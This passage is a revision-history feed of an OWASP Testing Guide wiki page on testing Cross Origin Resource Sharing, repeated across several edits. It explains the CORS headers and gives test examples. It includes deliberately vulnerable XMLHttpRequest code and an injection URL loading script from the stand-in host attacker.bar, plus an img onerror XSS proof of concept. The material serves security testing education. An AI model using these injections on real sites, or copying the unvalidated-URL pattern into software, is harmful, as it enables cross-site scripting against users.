[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: Input validation issue, XSS with CORS:'''&lt;br /&gt;
&lt;br /&gt;
This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var req = new XMLHttpRequest();&lt;br /&gt;
&lt;br /&gt;
req.onreadystatechange = function() {&lt;br /&gt;
     if(req.readyState==4 &amp;amp;&amp;amp; req.status==200) {&lt;br /&gt;
          document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=req.responseText;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
req.open(&amp;quot;GET&amp;quot;,resource,true);&lt;br /&gt;
req.send();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, a request like this will show the contents of the profile.php file:&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#profile.php&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://example.foo/profile.php HTTP/1.1&lt;br /&gt;
Host: example.foo&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:20:48 GMT&lt;br /&gt;
Server: Apache/2.2.16 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.3.3-7+squeeze17&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 25&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#http://attacker.bar/file.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/file.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 19:00:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 92&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
Injected Content from attacker.bar &amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert('Domain: '+document.domain)&amp;quot;&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Upload screenshot of example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br/&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/ &lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br/&amp;gt;&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=160086</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=160086"/>
				<updated>2013-10-09T20:11:35Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.&lt;br /&gt;
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.&lt;br /&gt;
&lt;br /&gt;
Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Example 1: repsonse with wildcard '*' in Access-Control-Allow-Origin:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Request (note the 'Origin' header:)'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/test.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/CORSexample1.html&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Response (note the 'Access-Control-Allow-Origin' header:)'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Content-Length: 4&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: Input validation issue, XSS with CORS:'''&lt;br /&gt;
&lt;br /&gt;
This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var req = new XMLHttpRequest();&lt;br /&gt;
&lt;br /&gt;
req.onreadystatechange = function() {&lt;br /&gt;
     if(req.readyState==4 &amp;amp;&amp;amp; req.status==200) {&lt;br /&gt;
          document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=req.responseText;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
req.open(&amp;quot;GET&amp;quot;,resource,true);&lt;br /&gt;
req.send();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, a request like this will show the contents of the profile.php file:&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#profile.php&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://example.foo/profile.php HTTP/1.1&lt;br /&gt;
Host: example.foo&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:20:48 GMT&lt;br /&gt;
Server: Apache/2.2.16 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.3.3-7+squeeze17&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 25&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#http://attacker.bar/file.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/file.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 19:00:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 92&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
Injected Content from attacker.bar &amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert('Domain: '+document.domain)&amp;quot;&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Upload screenshot of example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br/&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/ &lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br/&amp;gt;&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=160085</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=160085"/>
				<updated>2013-10-09T20:10:45Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.&lt;br /&gt;
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.&lt;br /&gt;
&lt;br /&gt;
Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Example 1: repsonse with wildcard '*' in Access-Control-Allow-Origin:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Request (note the 'Origin' header:)'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/test.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/CORSexample1.html&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Response (note the 'Access-Control-Allow-Origin' header:')''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Content-Length: 4&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: Input validation issue, XSS with CORS:'''&lt;br /&gt;
&lt;br /&gt;
This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var req = new XMLHttpRequest();&lt;br /&gt;
&lt;br /&gt;
req.onreadystatechange = function() {&lt;br /&gt;
     if(req.readyState==4 &amp;amp;&amp;amp; req.status==200) {&lt;br /&gt;
          document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=req.responseText;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
req.open(&amp;quot;GET&amp;quot;,resource,true);&lt;br /&gt;
req.send();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, a request like this will show the contents of the profile.php file:&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#profile.php&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://example.foo/profile.php HTTP/1.1&lt;br /&gt;
Host: example.foo&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:20:48 GMT&lt;br /&gt;
Server: Apache/2.2.16 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.3.3-7+squeeze17&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 25&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://example.foo/main.php#http://attacker.bar/file.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/file.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 19:00:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 92&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
Injected Content from attacker.bar &amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert('Domain: '+document.domain)&amp;quot;&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Upload screenshot of example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br/&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/ &lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br/&amp;gt;&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=160084</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=160084"/>
				<updated>2013-10-09T20:08:17Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: added some references&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
